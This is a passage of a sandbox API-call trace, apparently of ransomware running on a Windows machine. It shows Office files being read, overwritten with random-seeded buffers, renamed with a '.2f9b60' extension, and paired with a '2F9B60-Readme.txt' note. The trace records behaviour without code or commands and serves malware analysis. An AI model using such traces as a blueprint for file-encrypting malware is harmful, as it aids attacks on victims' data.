dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.389] ReadFile (in: hFile=0xd58, lpBuffer=0x20180d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ebcf7a0, lpOverlapped=0x0 | out: lpBuffer=0x20180d80*, lpNumberOfBytesRead=0x3ebcf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.413] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x24578, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0122.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0122.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dba0 [0122.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dba0) returned 1 [0122.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cee5a30 [0122.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dba0 [0122.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dbd0 [0122.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dbd0) returned 1 [0122.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0122.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0122.414] WriteFile (in: hFile=0xd58, lpBuffer=0x1cee5a30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ebcf7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesWritten=0x3ebcf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee5a30) returned 1 [0122.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8d70 [0122.416] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.416] WriteFile (in: hFile=0xd58, lpBuffer=0x205077e0*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x3ebcf850, lpOverlapped=0x0 | out: lpBuffer=0x205077e0*, lpNumberOfBytesWritten=0x3ebcf850*=0x144, lpOverlapped=0x0) returned 1 [0122.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0122.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503a10 [0122.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b10 [0122.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b10) returned 1 [0122.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0122.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b10 [0122.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ae0 [0122.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ae0) returned 1 [0122.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a10) returned 1 [0122.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0122.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b860ae0 [0122.800] sprintf (in: _Dest=0x1b860ae0, _Format="%c%c" | out: _Dest="52") returned 2 [0122.800] sprintf (in: _Dest=0x1b860ae2, _Format="%c%c" | out: _Dest="d0") returned 2 [0122.800] sprintf (in: _Dest=0x1b860ae4, _Format="%c%c" | out: _Dest="84") returned 2 [0122.800] sprintf (in: _Dest=0x1b860ae6, _Format="%c%c" | out: _Dest="4c") returned 2 [0122.800] sprintf (in: _Dest=0x1b860ae8, _Format="%c%c" | out: _Dest="e4") returned 2 [0122.800] sprintf (in: _Dest=0x1b860aea, _Format="%c%c" | out: _Dest="c9") returned 2 [0122.800] sprintf (in: _Dest=0x1b860aec, _Format="%c%c" | out: _Dest="78") returned 2 [0122.800] sprintf (in: _Dest=0x1b860aee, _Format="%c%c" | out: _Dest="78") returned 2 [0122.800] sprintf (in: _Dest=0x1b860af0, _Format="%c%c" | out: _Dest="a6") returned 2 [0122.800] sprintf (in: _Dest=0x1b860af2, _Format="%c%c" | out: _Dest="b6") returned 2 [0122.800] sprintf (in: _Dest=0x1b860af4, _Format="%c%c" | out: _Dest="91") returned 2 [0122.800] sprintf (in: _Dest=0x1b860af6, _Format="%c%c" | out: _Dest="41") returned 2 [0122.800] sprintf (in: _Dest=0x1b860af8, _Format="%c%c" | out: _Dest="86") returned 2 [0122.800] sprintf (in: _Dest=0x1b860afa, _Format="%c%c" | out: _Dest="f5") returned 2 [0122.800] sprintf (in: _Dest=0x1b860afc, _Format="%c%c" | out: _Dest="20") returned 2 [0122.800] sprintf (in: _Dest=0x1b860afe, _Format="%c%c" | out: _Dest="f3") returned 2 [0122.800] sprintf (in: _Dest=0x1b860b00, _Format="%c%c" | out: _Dest="ab") returned 2 [0122.800] sprintf (in: _Dest=0x1b860b02, _Format="%c%c" | out: _Dest="8d") returned 2 [0122.800] RtlInitAnsiString (in: DestinationString=0x3ebcf8c8, SourceString="52d0844ce4c97878a6b6914186f520f3ab8d" | out: DestinationString="52d0844ce4c97878a6b6914186f520f3ab8d") [0122.800] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ebcf898, SourceString="52d0844ce4c97878a6b6914186f520f3ab8d", AllocateDestinationString=1 | out: DestinationString="52d0844ce4c97878a6b6914186f520f3ab8d") returned 0x0 [0122.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c670 [0122.800] wcscat (in: _Dest=0x202af7c0, _Source="52d0844ce" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\52d0844ce") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\52d0844ce" [0122.800] wcscat (in: _Dest=0x202af7c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\52d0844ce.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\52d0844ce.2f9b60" [0122.800] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\52d0844ce.2f9b60", NtPathName=0x3ebcf870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\52d0844ce.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a5bd0 [0123.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5bd0) returned 1 [0123.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290970) returned 1 [0123.157] NtQueryInformationFile (in: FileHandle=0xd58, IoStatusBlock=0x3ebcf8d8, FileInformation=0x3ebcf8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ebcf8d8, FileInformation=0x3ebcf8e8) returned 0x0 [0123.157] NtSetInformationFile (FileHandle=0xd58, IoStatusBlock=0x3ebcf8d8, FileInformation=0x3ebcf8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af7c0) returned 1 [0123.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c670) returned 1 [0123.159] FlushFileBuffers (hFile=0xd58) returned 1 [0123.163] CloseHandle (hObject=0xd58) returned 1 [0123.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202af7c0 [0123.174] wcscpy (in: _Dest=0x202af7c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0123.174] wcscat (in: _Dest=0x202af7c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0123.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0123.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af7c0) returned 1 [0123.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 Thread: id = 1402 os_tid = 0x183c [0119.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css")) returned 0x20 [0119.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS", dwFileAttributes=0x20) returned 1 [0119.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17e4 [0119.472] GetFileSizeEx (in: hFile=0x17e4, lpFileSize=0x3edbf840 | out: lpFileSize=0x3edbf840*=3450) returned 1 [0119.472] SetFilePointerEx (in: hFile=0x17e4, liDistanceToMove=0xd76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.472] ReadFile (in: hFile=0x17e4, lpBuffer=0x3edbf7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3edbf808, lpOverlapped=0x0 | out: lpBuffer=0x3edbf7c0*, lpNumberOfBytesRead=0x3edbf808*=0x4, lpOverlapped=0x0) returned 1 [0119.555] SetFilePointerEx (in: hFile=0x17e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0119.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860cc0 [0119.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609c0 [0119.555] NtQuerySystemTime (in: CurrentTime=0x3edbf700 | out: CurrentTime=0x3edbf700*=132462177249634000) returned 0x0 [0119.555] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x6209ab7e [0119.555] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x2d91dbc5 [0119.555] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x17757709 [0119.555] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x73de98c0 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x5ceceb5 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x251f1ce3 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x3301f682 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0xc051b9b [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x7467b9cf [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0xe7c0105 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x61130f0c [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x59bda11e [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x7ee8aae0 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x5c5837de [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x5b18aabc [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x72599539 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x26a71d4a [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x53359e18 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x1057ed2c [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x337e4500 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x12f7179c [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x2aab8e5e [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x4ad5654 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x33a91dc0 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x2ba2d2d0 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x6594d719 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x567c870a [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x37ee4d60 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0xc2225d [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x5fa6b9dd [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x22bd0211 [0119.556] RtlRandomEx (in: Seed=0x3edbf6f0 | out: Seed=0x3edbf6f0) returned 0x3f7837c6 [0119.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a20 [0119.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609f0 [0119.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8609c0) returned 1 [0119.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608d0) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0119.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0119.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608d0) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2016e130 [0119.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2018c1b0 [0119.566] ReadFile (in: hFile=0x17e4, lpBuffer=0x2016e130, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x3edbf6f0, lpOverlapped=0x0 | out: lpBuffer=0x2016e130*, lpNumberOfBytesRead=0x3edbf6f0*=0xd7a, lpOverlapped=0x0) returned 1 [0119.566] SetFilePointerEx (in: hFile=0x17e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.566] WriteFile (in: hFile=0x17e4, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x3edbf6f4, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x3edbf6f4*=0xd7a, lpOverlapped=0x0) returned 1 [0148.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ad0 [0148.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e20 [0148.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7e20) returned 1 [0148.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0148.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016e130) returned 1 [0148.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0148.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0148.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a7e20 [0148.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0148.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0148.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615e0 [0148.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202615e0) returned 1 [0148.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202615e0 [0148.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0148.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602f0 [0148.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602f0) returned 1 [0148.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0148.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0148.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x1695e0 [0148.084] SetFilePointerEx (in: hFile=0x17e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0148.084] WriteFile (hFile=0x17e4, lpBuffer=0x1695e0, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3edbf810, lpOverlapped=0x0) [0200.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4040 [0200.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4040) returned 1 [0200.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f0e0 [0200.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4040 [0200.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4010 [0200.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4010) returned 1 [0200.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d8400 [0200.473] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="c3") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="93") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="a5") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="b1") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="be") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="a9") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="6b") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="64") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="50") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="e8") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="c3") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="a1") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="ba") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="65") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="d9") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="32") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="57") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="a6") returned 2 [0200.473] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="a0") returned 2 [0200.474] RtlInitAnsiString (in: DestinationString=0x3edbf888, SourceString="c393a5b13cbe3ca96b6450e8c3a1ba65d93257b4a6a0" | out: DestinationString="c393a5b13cbe3ca96b6450e8c3a1ba65d93257b4a6a0") [0200.474] RtlAnsiStringToUnicodeString (in: DestinationString=0x3edbf858, SourceString="c393a5b13cbe3ca96b6450e8c3a1ba65d93257b4a6a0", AllocateDestinationString=1 | out: DestinationString="c393a5b13cbe3ca96b6450e8c3a1ba65d93257b4a6a0") returned 0x0 [0200.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a0ad0 [0200.474] wcscat (in: _Dest=0x431d9fe0, _Source="c393a5b13cb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c393a5b13cb") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c393a5b13cb" [0200.475] wcscat (in: _Dest=0x431d9fe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c393a5b13cb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c393a5b13cb.2f9b60" [0200.475] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c393a5b13cb.2f9b60", NtPathName=0x3edbf830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\c393a5b13cb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431ea880 Thread: id = 1403 os_tid = 0x1840 [0119.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 0x20 [0119.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta", dwFileAttributes=0x20) returned 1 [0119.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17b0 [0119.430] GetFileSizeEx (in: hFile=0x17b0, lpFileSize=0x3ee4f8c0 | out: lpFileSize=0x3ee4f8c0*=104836) returned 1 [0119.430] SetFilePointerEx (in: hFile=0x17b0, liDistanceToMove=0x19980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.430] ReadFile (in: hFile=0x17b0, lpBuffer=0x3ee4f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ee4f888, lpOverlapped=0x0 | out: lpBuffer=0x3ee4f840*, lpNumberOfBytesRead=0x3ee4f888*=0x4, lpOverlapped=0x0) returned 1 [0119.459] SetFilePointerEx (in: hFile=0x17b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0119.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0119.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0119.460] NtQuerySystemTime (in: CurrentTime=0x3ee4f780 | out: CurrentTime=0x3ee4f780*=132462177248698000) returned 0x0 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x22196cd6 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x4a92fb4e [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x217e457e [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x423887a9 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x263ae208 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x66490550 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x98c13cf [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0xe1dcaf3 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x15491610 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x7dbb24e8 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x6b3e8103 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x1a80a021 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x72f5c68f [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x6b3e8103 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x3dbfc38c [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x14d2adca [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x1a83409d [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x22c574b6 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x1d806261 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x5d291007 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x712d4a80 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x58f7cd6c [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x4f0eae29 [0119.460] 